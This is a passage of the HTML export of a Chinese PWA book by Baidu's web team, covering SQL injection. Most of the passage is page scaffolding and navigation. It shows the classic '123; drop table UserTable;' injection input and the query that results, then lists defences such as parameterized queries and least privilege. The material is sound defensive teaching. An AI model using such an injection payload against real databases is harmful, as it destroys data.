&#x67E5;&#x8BE2;&#x7528;&#x6237;&#x4FE1;&#x606F;&#x7684; SQL &#x8BED;&#x53E5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-sql\"><span class=\"token keyword\">SELECT</span> <span class=\"token operator\">*</span> <span class=\"token keyword\">FROM</span> UserTable <span class=\"token keyword\">WHERE</span> ID <span class=\"token operator\">=</span> uid<span class=\"token punctuation\">;</span>\n</code></pre>\n<p>&#x5176;&#x4E2D;&#xFF0C;&#x53D8;&#x91CF; uid &#x7684;&#x503C;&#x6765;&#x81EA;&#x7528;&#x6237;&#x63D0;&#x4EA4;&#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x5728;&#x6B63;&#x5E38;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x7528;&#x6237;&#x8F93;&#x5165; 123&#xFF0C;SQL &#x8BED;&#x53E5;&#x4F1A;&#x6267;&#x884C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-sql\"><span class=\"token keyword\">SELECT</span> <span class=\"token operator\">*</span> <span class=\"token keyword\">FROM</span> UserTable <span class=\"token keyword\">WHERE</span> ID <span class=\"token operator\">=</span> <span class=\"token number\">123</span><span class=\"token punctuation\">;</span>\n</code></pre>\n<p>&#x67E5;&#x8BE2;&#x4E86;&#x7528;&#x6237;&#x8868;&#x4E2D; ID &#x4E3A; 123 &#x7684;&#x7528;&#x6237;&#x7684;&#x6240;&#x6709;&#x5B57;&#x6BB5;&#x4FE1;&#x606F;&#x3002;&#x4F46;&#x5047;&#x5982;&#x524D;&#x540E;&#x7AEF;&#x6574;&#x4E2A;&#x7CFB;&#x7EDF;&#x4E2D;&#xFF0C;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x7684;&#x5B89;&#x5168;&#x5904;&#x7406;&#xFF0C;&#x6709;&#x653B;&#x51FB;&#x8005;&#x6076;&#x610F;&#x8F93;&#x5165;&#x4E86;&#x5982;&#x4E0B;&#x8BED;&#x53E5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-sql\"><span class=\"token number\">123</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">drop</span> <span class=\"token keyword\">table</span> UserTable<span class=\"token punctuation\">;</span>\n</code></pre>\n<p>&#x90A3;&#x4E48; SQL &#x8BED;&#x53E5;&#x5728;&#x6267;&#x884C;&#x65F6;&#x7684;&#x7ED3;&#x679C;&#x5C31;&#x662F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-sql\"><span class=\"token keyword\">SELECT</span> <span class=\"token operator\">*</span> <span class=\"token keyword\">FROM</span> UserTable <span class=\"token keyword\">WHERE</span> ID <span class=\"token operator\">=</span> <span class=\"token number\">123</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">drop</span> <span class=\"token keyword\">table</span> UserTable<span class=\"token punctuation\">;</span>\n</code></pre>\n<p>&#x5371;&#x9669;&#x51FA;&#x73B0;&#x4E86;&#xFF01;&#x539F;&#x6765;&#x6B63;&#x5E38;&#x7684;&#x67E5;&#x8BE2;&#x8BED;&#x53E5;&#xFF0C;&#x56E0;&#x4E3A;&#x63A5;&#x6536;&#x4E86;&#x975E;&#x6CD5;&#x7684;&#x7528;&#x6237;&#x8F93;&#x5165;&#xFF0C;&#x53D8;&#x6210;&#x4E86;&#x6781;&#x5176;&#x5371;&#x9669;&#x7684;&#x5220;&#x9664;&#x8868;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x6570;&#x636E;&#x5E93;&#x5B89;&#x5168;&#x53D7;&#x5230;&#x4E86;&#x6781;&#x5927;&#x7684;&#x5A01;&#x80C1;&#x3002;</p>\n<p>&#x4ECE;&#x4E0A;&#x9762;&#x7B80;&#x5355;&#x793A;&#x610F;&#x6211;&#x4EEC;&#x4E0D;&#x96BE;&#x60F3;&#x8C61;&#xFF0C;SQL &#x6CE8;&#x5165;&#x7684;&#x5371;&#x5BB3;&#x6781;&#x5927;&#xFF0C;&#x4E0D;&#x4EC5;&#x4F1A;&#x5F15;&#x53D1;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x7528;&#x6237;&#x9690;&#x79C1;&#x4FE1;&#x606F;&#x7684;&#x6CC4;&#x9732;&#xFF0C;&#x8FD8;&#x80FD;&#x7BE1;&#x6539;&#x6570;&#x636E;&#x5E93;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x751A;&#x81F3;&#x653B;&#x51FB;&#x8FDC;&#x7A0B;&#x6570;&#x636E;&#x5E93;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x5B89;&#x88C5;&#x540E;&#x95E8;&#xFF0C;&#x9020;&#x6210;&#x4E0D;&#x53EF;&#x8BA1;&#x91CF;&#x7684;&#x635F;&#x5931;&#x3002;&#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x8BE5;&#x5982;&#x4F55;&#x9632;&#x5FA1;&#x8FD9;&#x79CD;&#x5B89;&#x5168;&#x5A01;&#x80C1;&#x5462;&#xFF1F;</p>\n<p>&#x5728;&#x5B9E;&#x9645;&#x5F00;&#x53D1;&#x4E2D;&#xFF0C;SQL &#x6CE8;&#x5165;&#x7684;&#x9632;&#x5FA1;&#x5E76;&#x4E0D;&#x662F;&#x51E0;&#x53E5;&#x8BDD;&#x80FD;&#x8BF4;&#x6E05;&#x695A;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x4F46;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4ECE;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x65B9;&#x9762;&#x5C42;&#x5C42;&#x6539;&#x8FDB;&#xFF0C;&#x8BA9;&#x6CE8;&#x5165;&#x7684;&#x98CE;&#x9669;&#x964D;&#x5230;&#x6700;&#x4F4E;&#x3002;</p>\n<p>1.&#x6C38;&#x8FDC;&#x4E0D;&#x8981;&#x4FE1;&#x8D56;&#x7528;&#x6237;&#x7684;&#x8F93;&#x5165;&#x3002;&#x5BF9;&#x8F93;&#x5165;&#x7684;&#x6570;&#x636E;&#x8FDB;&#x884C;&#x6821;&#x9A8C;&#xFF0C;&#x8FC7;&#x6EE4;&#x53EF;&#x80FD;&#x5F15;&#x53D1;&#x6CE8;&#x5165;&#x6F0F;&#x6D1E;&#x7684;&#x5B57;&#x7B26;&#xFF0C;&#x5E76;&#x68C0;&#x67E5;&#x8F93;&#x5165;&#x7684;&#x6570;&#x636E;&#x7C7B;&#x578B;&#xFF0C;&#x5982; id &#x5FC5;&#x987B;&#x4E3A; Interger&#xFF0C;&#x8F93;&#x5165;&#x90AE;&#x7BB1;&#x4E25;&#x683C;&#x6309;&#x7167;&#x90AE;&#x7BB1;&#x7684;&#x683C;&#x5F0F;&#xFF0C;&#x65E5;&#x671F;&#x4E5F;&#x5FC5;&#x987B;&#x6709;&#x7279;&#x5B9A;&#x683C;&#x5F0F;&#x7B49;&#x7B49;&#xFF0C;&#x6700;&#x5927;&#x7A0B;&#x5EA6;&#x5BF9;&#x6297;&#x6076;&#x610F;&#x653B;&#x51FB;&#x3002;</p>\n<p>2.&#x4F7F;&#x7528;&#x9884;&#x7F16;&#x8BD1;&#x7684;&#x53C2;&#x6570;&#x5316;&#x67E5;&#x8BE2;&#x8BED;&#x53E5;&#xFF0C;&#x4E0D;&#x8981;&#x62FC;&#x63A5; SQL &#x8BED;&#x53E5;&#x3002;&#x4E5F;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x5B89;&#x5168;&#x7684;&#x5B58;&#x50A8;&#x8FC7;&#x7A0B;&#xFF0C;&#x5148;&#x5C06; SQL &#x8BED;&#x53E5;&#x5B9A;&#x4E49;&#x5728;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x3002;</p>\n<p>3.&#x4E25;&#x683C;&#x7BA1;&#x7406;&#x6570;&#x636E;&#x5E93;&#x6743;&#x9650;&#xFF0C;&#x4E0D;&#x8981;&#x4F7F;&#x7528;&#x7BA1;&#x7406;&#x5458;&#x6743;&#x9650;&#x8FDE;&#x63A5;&#x6570;&#x636E;&#x5E93;&#x3002;&#x9075;&#x5FAA;&#x6700;&#x5C0F;&#x6743;&#x9650;&#x539F;&#x5219;&#xFF0C;&#x5BF9;&#x4E0D;&#x540C;&#x5E94;&#x7528;&#x7684;&#x6570;&#x636E;&#x5E93;&#x8FDE;&#x63A5;&#x6743;&#x9650;&#x8FDB;&#x884C;&#x4E25;&#x683C;&#x63A7;&#x5236;&#x3002;</p>\n<p>4.&#x91CD;&#x8981;&#x4FE1;&#x606F;&#x52A0;&#x5BC6;&#x5B58;&#x50A8;&#x3002;</p>\n<p>SQL &#x6CE8;&#x5165;&#x7684;&#x9632;&#x8303;&#xFF0C;&#x9700;&#x8981;&#x8BB0;&#x4F4F;&#x6C38;&#x8FDC;&#x5C06;&#x6570;&#x636E;&#x548C;&#x4EE3;&#x7801;&#x5206;&#x79BB;&#x7684;&#x539F;&#x5219;&#x3002;&#x53EA;&#x8981;&#x6211;&#x4EEC;&#x8BBE;&#x8BA1;&#x5E76;&#x5B9E;&#x65BD;&#x4E86;&#x5408;&#x7406;&#x7684;&#x5B89;&#x5168;&#x9632;&#x5FA1;&#x65B9;&#x6848;&#xFF0C;&#x8FD9;&#x79CD;&#x5371;&#x9669;&#x5B8C;&#x5168;&#x53EF;&#x4EE5;&#x907F;&#x514D;&#x3002;</p>\n<p>&#x4E0A;&#x6587;&#x53EA;&#x662F;&#x7B80;&#x5355;&#x5217;&#x4E3E;&#x4E86;&#x51E0;&#x79CD;&#x5E38;&#x89C1;&#x7684;&#x653B;&#x51FB;&#x6280;&#x672F;&#xFF0C;&#x5B9E;&#x9645;&#x60C5;&#x51B5;&#x4E2D;&#x6211;&#x4EEC;&#x7684;&#x5E94;&#x7528;&#x53D7;&#x5230;&#x7684;&#x5A01;&#x80C1;&#x8FDC;&#x4E0D;&#x6B62;&#x8FD9;&#x4E9B;&#x3002;&#x603B;&#x7684;&#x6765;&#x8BF4;&#xFF0C;Web &#x5B89;&#x5168;&#x662F;&#x4E00;&#x4E2A;&#x8303;&#x56F4;&#x5BBD;&#x5E7F;&#x53C8;&#x9700;&#x8981;&#x6211;&#x4EEC;&#x6301;&#x7EED;&#x6DF1;&#x5165;&#x7814;&#x7A76;&#x7684;&#x91CD;&#x8981;&#x8BDD;&#x9898;&#xFF0C;&#x6211;&#x4EEC;&#x5728;&#x6784;&#x5EFA; PWA &#x5E94;&#x7528;&#x65F6;&#xFF0C;&#x4E5F;&#x8981;&#x65F6;&#x523B;&#x4ECE;&#x5A01;&#x80C1;&#x9632;&#x8303;&#x7684;&#x89D2;&#x5EA6;&#x8FDB;&#x884C;&#x8003;&#x8651;&#xFF0C;&#x4FDD;&#x969C;&#x5E94;&#x7528;&#x7684;&#x7A33;&#x5B9A;&#x6027;&#x548C;&#x5B89;&#x5168;&#x6027;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"3-policy.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 7.3 同源策略\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../chapter08.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 第8章 性能\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"7.4 典型的安全漏洞\",\"level\":\"1.8.4\",\"depth\":2,\"next\":{\"title\":\"第8章 性能\",\"level\":\"1.9\",\"depth\":1,\"path\":\"chapter08.md\",\"ref\":\"chapter08.md\",\"articles\":[{\"title\":\"8.1 加载性能 \",\"level\":\"1.9.1\",\"depth\":2,\"path\":\"chapter08/1-loading-performance.md\",\"ref\":\"chapter08/1-loading-performance.md\",\"articles\":[]},{\"title\":\"8.2 渲染性能 \",\"level\":\"1.9.2\",\"depth\":2,\"path\":\"chapter08/2-rendering-performance.md\",\"ref\":\"chapter08/2-rendering-performance.md\",\"articles\":[]}]},\"previous\":{\"title\":\"7.3 同源策略\",\"level\":\"1.8.3\",\"depth\":2,\"path\":\"chapter07/3-policy.md\",\"ref\":\"chapter07/3-policy.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter07/4-vulnerability.md\",\"mtime\":\"2019-06-19T10:37:42.393Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter07.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第7章 安全 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter07/1-https.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter06/5-payment-request-api.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li 